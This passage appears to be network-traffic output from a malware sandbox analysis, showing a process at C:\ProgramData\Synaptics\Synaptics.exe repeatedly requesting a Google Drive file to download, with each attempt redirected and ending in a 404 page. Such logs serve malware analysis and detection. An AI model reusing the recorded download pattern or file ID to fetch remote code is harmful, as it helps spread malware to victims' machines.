2024-08-22 11:10:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-hpBhyiqJ7oHxwKMsg-bbgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49763	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:35 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:35 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:35 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3u_Fo7gE2TgvgB2AyiI-Qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: AHxI1nMT3eVo-h6NCXTnNQq_NybEErhtwZ2-1AoR2mMV28RomG4DjhefyPqSYdy-juzHslLVFfn-hoq5Xg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:35 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:10:35 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6e 4d 35 79 45 37 73 44 4f 44 31 75 6c 61 59 49 67 62 34 2d 6b 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="nM5yE7sDOD1ulaYIgb4-kw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:10:35 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49765	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:36 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-OxzBaO_rOhBy5KAxY9xALw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49764	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:36 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:36 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:36 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-a0kDgdUrBOj1xYHcYro5CQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNnlnH4GYaxxuqNt414rK74oKFyMgZY6ES8dS2HgzgvuixDlbWwOOXI_3PxEV-umujOmMs Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:36 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:36 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 6d 56 46 5f 33 2d 4b 30 34 72 4b 4c 30 5f 64 37 54 41 63 6b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="pmVF_3-K04rKL0_d7TAckA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:36 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49767	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:36 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-R6R-v4yxm8d-TWNt_lUonQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49768	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:36 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:36 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:36 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-qEUO_If3rIDurUFKnDSpAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOtYijWzdww2NahLO96-miBf6vTXkObK5-jByruCe8h-Cn3U36i17vrwDZUdmHuOiqkpA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:36 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-08-22 11:10:36 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 38 5a 2d 4f 59 41 4e 4c 58 65 6a 66 43 4e 44 62 75 42 72 7a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="L8Z-OYANLXejfCNDbuBrzg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:36 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49769	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:37 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-YPmO-DNwcqq6NPfZ3BzWyA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49772	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:37 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:37 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:37 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-EDuQ5CA0Lc_6AtEjwFGU-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPFRwB-AaZqmHCw-s2yNW43Yjs0UOUXV9_iCGY0sQXMkFGuuami6aSorz1lFsEcAh005A Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:37 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-08-22 11:10:37 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 44 74 57 49 68 69 79 53 48 6c 38 63 77 46 53 41 6b 57 57 46 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="cDtWIhiySHl8cwFSAkWWFw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:37 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49773	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:37 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-22 11:10:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-T5m70Mi8cVXMLeYh0lPXSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, 